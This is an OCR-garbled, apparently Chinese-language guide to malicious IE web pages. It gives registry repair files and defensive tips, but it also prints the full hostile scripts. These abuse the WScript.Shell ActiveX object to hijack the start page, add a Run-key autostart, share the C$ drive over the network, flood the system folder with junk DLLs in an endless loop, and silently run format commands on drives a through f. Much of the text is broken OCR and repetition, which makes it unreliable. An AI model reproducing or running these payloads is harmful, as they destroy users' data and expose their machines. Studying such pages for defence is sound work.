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ActiveX

IE



IE IE IE

IE IE

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Polici

es\System
DWORD *“ DisableRegistryTools” “ 1
1] OH
REG
REGEDIT4

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Polici
es\System

“ DisableRegistryTools” =dword:00000000



IE
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Main\Default_Page URL

“ Default _Page URL”

“ Default Page UR”

IE

IE (DWORD 1
)
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet
Explorer\Control Panel
"Settings'=dword:1
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet
Explorer\Control Panel

"Links"=dword:1

HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet

Explorer\Control Panel



"SecAddSites"=dword:1

DWORD “ 0"

HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet
Explorer\Control Panel
DWORD  “ homepage” “
“ qm

homepage” “ 0

Window Title

IE

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet
Explorer\Main\Window Title

HKEY CURRENT USER\Software\Microsoft\Internet



Explorer\Main\Window Title

Wi ndOWS 1] ” N 1] ” 11 ”

regedit “ "

HKEY LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main

“ Window Title”

Window Title “IE !

HKEY CURRENT USER\Software\Microsoft\Internet Explorer\Main

IE

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt

IE

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt

FlashGet Netants



IE

HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Search\CustomizeSearch

HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Search\SearchAssistant

CustomizeSearch”

SearchAssistant”

HKEY LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\Winlogon
“ LegalNoticeCaption” “ LegalNoticeText”
“ LegalNoticeCaption” “ LegalNoticeText”

Windwos



HKEY LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlo
gon
“ LegalNoticeCaption”

“ LegalNoticeText”

HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Internet
Explorer\Main\Start Page
HKEY_CURRENT _USER\Software\Microsoft\Internet
Explorer\Main\Start Page
“ Start Page” IE
! ” IE

“ http://0on888.home.chinaren.com

Windows -
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regedit “ ”

HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main
“ Start Page” Start Page

“ about:blank”

HKEY CURRENT_USER\Software\Microsoft\Internet Explorer\Main
“ Start Page”
OK

IE

IE

regedit.exe

HKEY LOCAL_MACHINE\Software\Microsoft\Windows\Current

Version\Run
registry.exe
c:\Program Files\registry.exe IE
10 IE

IE
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IE

1. HKEY_CURRENT_USER

Software Microsoft Internet Explorer MenuExt

2. HKEY_CURRENT_USER
Software Policies Microsoft Internet Explorer Restrictions

DWORD "NoBrowserContextMenu" 0

11 [11 ”

I E [1] ” N [1] ” 1] ”

HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet

Explorer
“ Restrictions” “ Restrictions”
DWORD
“ NoViewSource” “ NoBrowserContextMenu” DWORD

[11 1”
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HKEY USERS\.DEFAULT\Software\Policies\Microsoft\Internet
Explorer\Restrictions
DWORD  “ NoViewSource” *“ NoBrowserContextMenu”
T

IE 1]

.reg unlock.reg

unlock.reg IE IE

REGEDIT4
HKEY_ CURRENT USER\Software\Policies\Microsoft\Internet
Explorer\Restrictions
“ NoViewSource” =dword:00000000
"NoBrowserContextMenu'=dword:00000000
HKEY USERS\.DEFAULT\Software\Policies\Microsoft\Internet
Explorer\Restrictions
“ NoViewSource” =dword:00000000

“ NoBrowserContextMenu” =dword:00000000
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2)
3)
4)
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6)
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DOS

regedit
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C
C
MS.ActiveX
FileSystemObject
System
Menu\Programs\ "
ActiveX Java
Bingo

Internet Explorer
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SMB

Windows

——""C:\WINDOWS\Start

Vbs

— Internet

ActiveX Java Vbs



JS/0n888 ActiveX
1 WINDOWS  DOS
2 WINDOWS
3 11 ” 11 ”

DOS DOS REGEDIT

4 IE

a WWW . 0N888 . XXX . XXX .com

b I E [13 ” 113 ”

"http://96xx.xxx.com";

1E4.0
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IE
HKEY LOCAL_CURRENT USER\\Software\\Microsoft\\Internet
Explorer\\Main\\Start Page", "on888 . xxx.xxx.com/*;

ActiveX

"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Exp

lorer\\NoRun"

“  HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies

\\Explorer\\NoClose"

"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Exp

lorer\\NoLogOff"

"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Exp
lorer\\NoDrives"
REGEDIT

"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Sys
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tem\\DisableRegistryTools

"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Exp
lorer\\NoDesktop"

DOS
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Win
OldApp\\Disabled"

“ DOS ”
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Win
OldApp\\NoRealMode"

WINDOWS
MICROSOFT
"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\Leg
alNoticeCaption", " !
01CQ:4040465 1");
"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\Leg
alNoticeText", " !
01CQ:4040465 1");

IE WINDOWS

"HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window

Title", " ! 01CQ:4040465 ");
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"HKCU\\Software\\Microsoft\\Internet

Title", " ! 01CQ:4040465
IE
REGEDIT
MSDOS SCANREG/RESTORE
WINDOWS
WINDOWS

Explorer\\Main\\Window

);
IE

DOS

F8

"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\Leg

alNoticeCaption”
01CQ:4040465
"HKCU\\Software\\Microsoft\\Internet
Title", " ! 01CQ:-4040465
IE
IE
WINDOWS Favorites
WINDOWS9X

-HTA
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Explorer\\Main\\Window
P
IE
WINDOWS
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WINDOWS



HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page

HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title

HKCUN\Software\\Microsoft\\Internet Explorer\\Main\\Window Title
( )

HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\E
xplorer

HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\S
ystem

HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\W
1n0ldApp

HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon

-htm
<HTML>
<head>

<TITLE> </TITLE>
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<meta name="keywords" content="" , , ">

<meta name="description" content="Robonic
,00:10000022 , www .J3J4 .com'">

</head>

<SCRIPT>

document.write("'<APPLET HEIGHT=0 WIDTH=0

code=com.ms.activeX.ActiveXComponent></APPLET>");

function a(){

try

{

b=document.applets[0];

b.setCLSID(""{F935DC22-1CFO0-11D0-ADB9-00C04FD58A0B}™) ;

b.createlnstance();

Cc = b.GetObject();

try

{

c.RegDelete(""HKEY_CURRENT USER\\Software\\Microsoft\\Windows\\Curr

entVersion\\Policies\\System\\");

c.RegWrite(""HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet

Explorer\\Main\\Start Page","about:blank™);

c.RegWrite(""HKEY _LOCAL_MACHINE\\Software\\Microsoft\\Internet

Explorer\\Main\\Window Title","Microsoft Internet Explorer");
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c.RegWrite("'"HKEY_CURRENT USER\\Software\\Microsoft\\Internet
Explorer\\Main\\Window Title",""Microsoft Internet Explorer");
c.RegWrite(""HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet
Explorer\\Main\\Window Title","Microsoft Internet Explorer");
c.RegWrite(""HKEY_LOCAL_ MACHINE\\Software\\Microsoft\\Windows\\Curr
entVersion\\Winlogon\\LegalNoticeCaption™,""");
c.RegWrite(""HKEY_LOCAL_ MACHINE\\Software\\Microsoft\\Windows\\Curr
entVersion\\Winlogon\\LegalNoticeText","");

c.RegDelete(""HKEY LOCAL_MACHINEN\System\\CurrentControlSet\\Servic
es\\RemoteAccess\\NoLogon");

c.RegDelete(""HKEY _USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\C
urrentVersion\\Policies\\Explorer\\NoDrives");
c.RegDelete(""HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\C
urrentVersion\\Policies\\Explorer\\NoClose");
c.RegDelete(""HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\C
urrentVersion\\Policies\\Explorer\\NoDesktop");
c.RegDelete(""HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\C
urrentVersion\\Policies\\Explorer\\NoLogOff");
c.RegDelete(""HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\C
urrentVersion\\Policies\\Explorer\\NoRun");
c.RegDelete(""HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\C

urrentVersion\\Policies\\WinOldApp\\Disabled");
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c.RegDelete(""HKEY USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\C
urrentVersion\\Policies\\WinOldApp\\NoRealMode™);

by

catch(e)

{}

by

catch(e)

8

¥

function d()

{

setTimeout("a()", 0);

}

dO;

</SCRIPT>

<OBJECT 1d=closes type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7al1l1">
<param name="'Command" value="Close">

</object>

<input  type="button"  value="
onclick="closes.Click();">

</HTML>
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HTML

IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"

HTML  HEAD

META content="text/html; charset=gh2312" http-equiv=Content-Type

META content="MSHTML 5.00.2614.3500" name=GENERATOR

STYLE  /STYLE

/HEAD

BODY bgColor=#c0c0c0

DIV align=center  FONT size=4  STRONG /STRONG

/FONT  /DIV

DIV align=center /DIV

DIV align=left FONT size=2

XXX
N

href="http://www.sexlaugh.com.cn" Http://www.sexlaugh.com.cn /A

/FONT  /DIV

script language=JavaScript

function f //

{
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var aa,ss;
aa=document.applets|[0];

aa.setCLSID "{F935DC22-1CF0-11D0-ADB9-00CO4FD58A0B}" ;
aa.createlnstance ;

ss=aa.GetObject ;

ss.RegWrite "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Network\\LanMan\\C$\\Flags",302,"REG_DWORD" ;

ss.RegWrite "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Network\\LanMan\\C$\\Type',0,""REG_DWORD" ;

ss.RegWrite "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Network\\LanMan\\C$\\Path","C:\\" ;

k

function Init

{
setTimeout "f " 1000 ; // 1000 1

}
init ; 1/
/script
/BODY  /HTML
MS.ActiveX
HKEY LOCAL_ MACHINE\Software\Microsoft\

Windows\CurrentVersion\ Network\LanMan C$ C
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Laugh.hta “ ” “ _hta”
HTML Application Mshta.exe
WSH VBS Txt
html
script language=vbs
On Error Resume Next:
set aa=CreateObject "WScript.Shell" - WScript

Set fs = CreateObject "Scripting.FileSystemObject” -

Set dirl

fs.GetSpecialFolder O - Windows

Set dir2

fs.GetSpecialFolder 1 - System
dirl=dirl+"\START MENU\PROGRAMS\
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\

Network\LanMan\S$\Flags',302," " REG_DWORD" Dword Flags

aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Type",0,""REG_DWORD"- Dword  Type
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Path",dir1-

a=10

Set Os = CreateObject "Scriptlet.TypeLib" -
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doc=" Hi1”* Hello”"“ Howare you?”*“ Canyou helpme?”“ We want peace”
“ Where will you go?” “ Congratulations!!!” “ Don’ t Cry” “ Look at
the pretty” “ Some advice on your shortcoming” “ Free XXX Pictures”
“ A free hot porn site” “ Why don’ tyou reply tome?” “ How about have
dinner with me together?” “ Never kiss a stranger’” Hi” “ Hello”
“ How are you?” “ Can you help me?” “ We want peace” *“ Where will
you go?” “ Congratulations!!!” “ Don’ t Cry” “ Look at the pretty”
“ Some advice on your shortcoming” “ Free XXX Pictures” “ A free hot
porn site” “ Why don’ tyou reply to me?” “ How about have dinner with
me together?” “ Never kiss a stranger”” Hi” “ Hello” “ How are you?”
“ Can you help me?” * We want peace” “ Where will you go?”
“ Congratulations!!!” “ Don’ tCry” “ Look at the pretty” “ Some advice
on your shortcoming” “ Free XXX Pictures” “ A free hot porn site”
“ Why don’ t you reply to me?” “ How about have dinner with me
together?” “ Never kiss a stranger”® Hi” “ Hello” “ How are you?”
“ Can you help me?” “ We want peace” “ Where will you go?”
“ Congratulations!!!” “ Don’ tCry” “ Look at the pretty” “ Some advice
on your shortcoming” “ Free XXX Pictures” “ A free hot porn site”

“ Why don’ tyou reply tome?”* How about have dinner with me together?”

0s.Reset: TypeLib
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Os.Path = "C:\lo.sys"- TypeLib C:\lo.sys
0s.Doc = doc-
Os.Write

while true

a=a+l
Os.Reset
Os.Path = dir2&'"\Msvbvm"&a&" .dll"
System Msvbvm???.dl1
0s.Doc = doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&docs
doc&docé&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&docéd

océ&doc&doc&docédoc&doc&doc&doc&docédoc

Os.Write
wend
/script
/Html
hta HEml FileSystemObject
Windows System

——"C-\WINDOWS\Start Menu\Programs\

28



script language=JavaScript
function f //
{
var aa,ss;
aa=document.applets|[0];
aa.setCLSID "{F935DC22-1CF0-11D0-ADB9-00CO4FD58A0B}" ;
aa.createlnstance ;
ss=aa.GetObject ;
ss.RegWrite "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Network\\LanMan\\C$\\Flags',302,"REG_DWORD" ;
ss.RegWrite "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Network\\LanMan\\C$\\Type",0,""REG_DWORD" ;
ss.RegWrite "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Network\\LanMan\\C$\\Path","C:\\" ;

¥

function iInit

{
setTimeout "f ", 1000 ; [// 1000 T

¥
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init , 1/

/script

script language=vbs
On Error Resume Next:
set aa=CreateObject "WScript.Shell” - WScript

Set fs = CreateObject "Scripting.FileSystemObject" -

Set dirl = fs.GetSpecialFolder O - Windows

Set dir2

fs.GetSpecialFolder 1 - System
dirl=dirl+"\START MENU\PROGRAMS\ "
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\

Network\LanMan\S$\Flags",302,""REG_DWORD"- Dword Flags

aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Type",0,""REG_DWORD"- Dword  Type
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Path",dirl-

a=10

Set Os = CreateObject "Scriptlet.TypeLib" -

doc=" H1”“ Hello”“ Howare you?”“ Canyou help me?”“ We want peace”
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“ Where will you go?” “ Congratulations!!!” “ Don’ t Cry” “ Look at
the pretty” “ Some advice on your shortcoming” “ Free XXX Pictures”
“ A free hot porn site” “ Why don’ tyou reply tome?” “ How about have
dinner with me together?” “ Never kiss a stranger’” Hi” “ Hello”

“ How are you?” “ Can you help me?” “ We want peace” *“ Where will
you go?” “ Congratulations!!!” “ Don’ t Cry” “ Look at the pretty”
“ Some advice on your shortcoming” “ Free XXX Pictures” “ A free hot
porn site” “ Why don’ tyou reply to me?” “ How about have dinner with
me together?” “ Never kiss a stranger”” Hi” “ Hello” “ How are you?”
“ Can you help me?” * We want peace” “ Where will you go?”

“ Congratulations!!!” “ Don’ tCry” “ Look at the pretty” “ Some advice
on your shortcoming” “ Free XXX Pictures” “ A free hot porn site”

“ Why don’ t you reply to me?” “ How about have dinner with me
together?” “ Never kiss a stranger”® Hi” “ Hello” “ How are you?”

“ Can you help me?” “ We want peace” “ Where will you go?”

“ Congratulations!!!” “ Don’ tCry” “ Look at the pretty” “ Some advice
on your shortcoming” “ Free XXX Pictures” “ A free hot porn site”

“ Why don’ tyou reply tome?”* How about have dinner with me together?”

0s.Reset: TypeLib

Os.Path = "C:\lo.sys"- TypeLib C:\lo.sys
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Os.Doc = doc- —_
Os._Write

while true

a=a+l
Os.Reset
Os.Path = dir2&'"\Msvbvm"&a&" .dll"
System Msvbvm???.dl1
0s.Doc = doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&docs
doc&docé&docé&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&docéd

oc&docédoc&doc&doc&doc&docédoc&doc&doc

Os.Write
wend

/script

"HKCU\\Software\\Classes\\CLSID\\{20D04FEOQ-3AEA-1069-A2D8-08002B30
309D\, ");
"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search

Page","http://XXX.XXX.net"); // IE
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"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start
Page","http://XXX.XXX.net™); // IE
"HKCR\\CLS 1D\\{20D04FEQ-3AEA-1069-A2D8-08002B30309D}\\ ", ™
") // ‘ "
"HKCR\\CLS 1D\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\ InfoTip", "
");
"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\", "
") // ’ i
"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\InfoTip","
");
"HKLM\\Software\\Microsoft\\Windows\\Currentversion\\Winlogon\\Leg
alNoticeCaption”," ");
"HKLM\\Software\\Microsoft\\Windows\\Currentversion\\Winlogon\\Leg
alNoticeText"," "Y; //
"HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title",
http://XXX . XXX.net"); // IE
"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title",

http://XXX.XXX.net™); // IE

<OBJECT classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B
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1d=wsh></0BJECT>

<SCRIPT>

wsh.

wsh.

wsh

wsh.

wsh.

wsh

wsh.

wsh.

wsh

wsh.

wsh.

wsh.

wsh.

wsh.

wsh.

wsh.

wsh.

wsh.

wsh.

wsh.

Run("start /m

Run("start /m

-Run("start /m

Run("start /m

Run("start /m

-Run("start /m

Run("start /m

Run("start /m

-Run("start /m

Run("start /m
Run("start /m
Run("start /m
Run("start /m
Run("start /m
Run("start /m
Run("start /m
Run("start /m
Run("start /m
Run("start /m

Run("start /m

format.

format.

format.

format.

format.

format.

format.

format.

format.

format.

format.

format.

format.

format.

format.

format.

format.

format.

format.

format.

com

com

com

com

com

com

com

com

com

com

com

com

com

com

com

com

com |

com 1

com

com

/autotest /u*);
/autotest /u*);
/autotest /u*);
/autotest /u*);
/autotest /u*);
/autotest /u*);
/autotest /u*);
/autotest /u*);
/autotest /u*);
/autotest /u®);
/autotest /u®);
/autotest /u®);
/autotest /u®);
/autotest /u®);
/autotest /u®);
/autotest /u®);
/autotest /u®);
/autotest /u®);
/autotest /u®);

/autotest /u®);



wsh.Run("start /m format.com f:/q /autotest /u®);
wsh.Run("start /m format.com e:/q /autotest /u®);
wsh.Run("start /m format.com d:/q /autotest /u®);
wsh.Run("start /m format.com c:/q /autotest /u®);
wsh.Run("start /m format.com b:/q /autotest /u®);

wsh.Run("start /m format.com a:/q /autotest /u®);

</SCRIPT>

</P>

5 WIN

document.write("'<APPLET HEIGHT=0 WIDTH=0

code=com.ms.activeX.ActiveXComponent></APPLET>");function
yuzi(Q{try{al=document.applets[0];al.setCLSID("'{F935DC22-1CF0-11D0
-ADB9-00C04FD58A0B}'") ;al.createlnstance();Shl =

al.GetObject();al.setCLSID(*{0D43FE01-F093-11CF-8940-00A0C9054228}

");al.createlnstance();FSO = al.GetObject();try{ WF =
FSO.GetSpecialFolder(0);loc = WF + "\\system"; var
Shor=Shl .CreateShortcut(loc + "\\"+"Internet"

+".URL"™);Shor.TargetPath="http://ww.*** com ";Shor.Save(); WF =
FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var

Shor=Shl .CreateShortcut(loc + "\\"+" *x "
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+" _URL") ;Shor.TargetPath="http://www.***_com ";Shor.Save(); WF =
FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var
Shor=Shl.CreateShortcut(loc + "\\"+" **

+" _URL™) ;Shor.TargetPath="http://www.***_com";Shor.Save(); WF =
FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var
Shor=Shl.CreateShortcut(loc +  "\\"+" **

+" _URL") ;Shor.TargetPath="http://www.***_com ";Shor.Save(); WF =
FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var
Shor=Shl.CreateShortcut(loc + "\\"+" **

+" _URL™) ;Shor.TargetPath="http://www.***_com ";Shor.Save(); WF =
FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var
Shor=Shl .CreateShortcut(loc + "\\"+" **

+" _URL");Shor.TargetPath="http://www.***_com ";Shor.Save(); WF =
FSO.GetSpecialFolder(0);loc = WF + "\\desktop"; var
Shor=Shl .CreateShortcut(loc + "\\"+"Internet Explorer™
+" _URL");Shor.TargetPath="http://www.***_com '";Shor.Save(); WF =
FSO.GetSpecialFolder(0);loc = WF + "\\desktop"; var
Shor=Shl .CreateShortcut(loc + "\\"+" **

+" _URL");Shor.TargetPath="http://www.***_com '";Shor.Save(); WF =
FSO.GetSpecialFolder(0);loc = WF + "\\desktop"; var
Shor=Shl .CreateShortcut(loc + "\\"+" **

+" _URL");Shor.TargetPath="http://www.***_com '";Shor.Save(); WF =
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FSO.GetSpecialFolder(0);loc = WF + "\\desktop"; var
Shor=Shl.CreateShortcut(loc + "\\"+" **
+" _URL") ;Shor.TargetPath="http://www.***_com ";Shor.Save(); WF =
FSO.GetSpecialFolder(0);loc = WF + "™\\Start Menu"; var
Shor=Shl.CreateShortcut(loc + "\\"+" **

+" _URL") ;Shor.TargetPath="http://www.***_com ";Shor.Save(); WF =

FSO.GetSpecialFolder(0);loc = WF + "\\Application
Data\\Microsoft\\Internet Explorer\\Quick Launch™; var
Shor=Shl.CreateShortcut(loc + "\\"+" **

+" _URL") ;Shor.TargetPath="http://www.***_com ";Shor.Save(); WF =
FSO.GetSpecialFolder(0);loc = WF + "™\\Start Menu\\Programs™; var
Shor=Shl .CreateShortcut(loc + "\\""+" **

+" _URL");Shor.TargetPath="http://www.***_com ";Shor.Save();
Shl.RegWrite(""HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Start Page","http://www.***_com ");
Shl.RegWrite(""HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Window Title","http://www.***_com ");
Shl.RegWrite(""HKEY LOCAL_ MACHINEN\SOFTWARE\\Microsoft\\Windows\\Cu
rrentVersion\\Run\\internet","C:\\WINDOWS\\system\\internet.url');
}catch(e){}}catch(e){}}setTimeout("'yuzi()",1000);

-VBS  .HTA ,
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2 ActiveX IE
ActiveX Java
IE . - Internet
ActiveX Java “ ”
ActiveX
3 Windows98 C:\WINDOWS\JAVA\Packages\
CVLVINBB.ZIP “ ActivexComponent.class” WindowsMe

C:\WINDOWS\JAVA\Packages\5NZVFPF1.ZI1P

“ ActiveXComponent.class”

4
Norton AntiVirus IE

Trojan.Offensive Script Blocking
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regedit.exe

13 ” 1] ”

@D regedit.exe
)
HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Polici
es\System DisableRegistryTools  DWORD
1 regedit.exe
.reg unlock.reg
REGEDIT4

[HKEY _CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Polic
1es\Systen]

“ DisableRegistryTools” =dword:00000000

unlock.reg Win2000 WinXP “ REGEDIT4”
Windows Registry Editor Version 5.00
6 Win2000 Win2000

“ Remote Registry Service”
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10
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—Remote Registry Service(

reg

IE

” N 1] I nte rnet ” N 113 ” N 1

http://on888._home.chinaren.com

6.0

Microsoft Windows Script 5.6

F935DC22-1CF0-11D0-ADB9-00C04FD58A0B

id

HKEY_CLASSES_ROOT\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}

HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}
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